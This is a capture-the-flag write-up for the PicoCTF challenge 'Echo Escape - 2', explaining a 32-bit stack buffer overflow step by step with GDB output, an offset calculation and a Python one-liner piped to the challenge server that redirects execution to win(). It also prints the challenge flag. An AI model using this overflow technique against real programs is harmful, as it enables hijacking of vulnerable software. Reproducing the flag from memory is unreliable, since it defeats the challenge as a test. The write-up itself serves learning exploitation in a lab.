Echo Escape - 2 Write-up (PicoCTF)
Hello guys! Today we are diving back into Buffer Overflow with Echo Escape - 2 from PicoCTF. Last time we dealt with a 64-bit binary, but today we are tackling a 32-bit x86 architecture challenge! So gear up, let’s get into the terminal!

What’s New in 32-Bit Exploitation?
In 64-bit binaries, pointers and registers (rax, rbp, rip) are 8 bytes (64 bits), so we used struct.pack("<Q", address) (<Q = unsigned 64-bit int in Little-Endian).
In 32-bit x86 binaries:
- Pointers and registers (
eax,ebp,eip) are 4 bytes (32 bits). - We use
struct.pack("<I", address)(<I= unsigned 32-bit int in Little-Endian). - The return address is stored at
$ebp + 4instead of$rbp + 8.
Step 1: Loading Binary into GDB & Disassembling vuln
First, fire up GDB on the target vuln binary:
gdb ./vuln

Let’s disassemble the vuln function to inspect the assembly instructions:
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln
Disassembly Output:
Dump of assembler code for function vuln:
0x08049328 <+0>: endbr32
0x0804932c <+4>: push ebp
0x0804932d <+5>: mov ebp,esp
0x0804932f <+7>: push ebx
0x08049330 <+8>: sub esp,0x24
...
0x08049370 <+72>: push 0x80
0x08049375 <+77>: lea eax,[ebp-0x28]
0x08049378 <+80>: push eax
0x08049379 <+81>: call 0x80490f0 <fgets@plt>
0x0804937e <+86>: add esp,0x10
...
0x0804939b <+115>: leave
0x0804939c <+116>: ret
End of assembler dump.
Notice lea eax, [ebp-0x28] right before fgets — the input buffer starts at $ebp - 0x28!
Step 2: Finding Target win() Address & Calculating Offset

Set a breakpoint right before fgets at *vuln+77 (0x08049375) and run:
(gdb) b *vuln+77
Breakpoint 1 at 0x8049375
(gdb) run
Starting program: /home/nirusaki/Downloads/vuln
Enter the secret key:
Breakpoint 1, 0x08049375 in vuln ()
Now let’s inspect the buffer pointer and saved return address (EIP):
(gdb) p/x $ebp-0x28
$1 = 0xffffd410
(gdb) info frame
Stack level 0, frame at 0xffffd440:
eip = 0x8049375 in vuln; saved eip = 0x80493c0
Arglist at 0xffffd438, args:
Locals at 0xffffd438
Saved registers:
ebx at 0xffffd434, ebp at 0xffffd438, eip at 0xffffd43c
Notice:
- Buffer Address (
buf):0xffffd410($ebp - 0x28) - Saved EIP (Return Address):
0xffffd43c($ebp + 4)
Now let’s find the pointer to the target win() function:
(gdb) p/x &win
$8 = 0x8049276
Offset Calculation
Saved EIP Address : 0xffffd43c
- Buffer Address : 0xffffd410
---------------------------------
Total Offset : 0x2C (44 bytes)
We need 44 bytes of padding before injecting our 32-bit win() address 0x08049276.
32-Bit Stack Frame Layout
+-------------------------------------------------------+
| buf Array Buffer [0xffffd410] | <-- $ebp - 0x28
+-------------------------------------------------------+
| Saved EBX & Saved EBP [8 bytes padding] |
+-------------------------------------------------------+
| Saved EIP (Return Address) [0xffffd43c] | <-- Overwritten to &win()
+-------------------------------------------------------+
Offset Calculation:
0xffffd43c - 0xffffd410 = 44 bytes total
Payload Structure:
[ 'A' * 44 bytes ] + [ 0x08049276 (win() address packed with <I) ]
Step 3: Crafting the 32-Bit Exploit One-Liner
Because this is a 32-bit binary, we pack the target address using struct.pack("<I", 0x08049276) (<I for 32-bit Little-Endian unsigned int) rather than <Q used in 64-bit architecture:
python3 -c 'import struct,sys; sys.stdout.buffer.write(b"A"*44 + struct.pack("<I", 0x08049276) + b"\n")' | nc dolphin-cove.picoctf.net 60293
Step 4: Executing Exploit & Getting the Flag
Let’s pipe the payload straight into the remote CTF instance:
╭─ ~/Downloads 07:19:07 PM
╰─❯ python3 -c 'import struct,sys; sys.stdout.buffer.write(b"A"*44 + struct.pack("<I",0x08049276) + b"\n")' | nc dolphin-cove.picoctf.net 60293
Enter the secret key: You entered:, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv
Flag: picoCTF{fgets_0v3rfl0w42_a4f2ece1}


BOOM! We bypassed the input validation, redirected execution to win(), and retrieved the flag picoCTF{fgets_0v3rfl0w42_a4f2ece1}!
Goodbye, see you later!
Nirusaki signing out.

Discussion (0)
Leave a Comment